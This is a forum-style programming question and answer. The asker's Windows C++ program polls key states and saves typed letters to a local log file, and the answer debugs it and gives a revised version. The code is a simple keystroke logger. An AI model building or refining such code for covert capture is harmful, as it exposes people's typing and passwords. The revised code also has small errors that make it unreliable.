Question

I’m compiling this code with GNU GCC Compiler in Code Blocks but for some reason the log file that it creates remains empty no matter what. Any ideas why this might be?

#include <iostream>
#include <windows.h>
#include <string>
#include <fstream>

using namespace std;

int i;
string s;

int main()
{
    ofstream log;
    log.open("log.txt");
    while (!GetAsyncKeyState(VK_F8)) {
        for (i=65; i<90; i++) {
            if (GetAsyncKeyState(i)) {
                s+=i;
            }
            Sleep(10);
        }

        if (GetAsyncKeyState(VK_SPACE)) {
            s+=" ";
        }
    }

    log << s;
    log.close();
    cin.get();
}

Answer 1

Consider following points:

---

Are you trying log << "TEST" in the condition?

Try this (right after the log.open call):

log.open("log.txt");
log << "TEST" << endl;

If TEST gets written to the file, your file is empty because the condition never gets true.

---

An other issue might be that the file contains non-displayable characters.
Dump your file to a hex-editor. Does the file have a size of 0 or is it containing data you might not be able to display on common text editors?

---

*EDIT: * This should do what you want:

Either write your i or " " directly to log or use a stringstream:

#include <sstream>

//...

ofstream log;
log.open("log.txt");
stringstream str;
while (!GetAsyncKeyState(VK_F8)) {
    for (i=65; i<90; i++) {
        if (GetAsyncKeyState(i)) {
            str << i;
        }
        Sleep(10);
    }

    if (GetAsyncKeyState(VK_SPACE)) {
        str << " ";
    }
}

log << str.rdbuf();
log.close();
cin.get();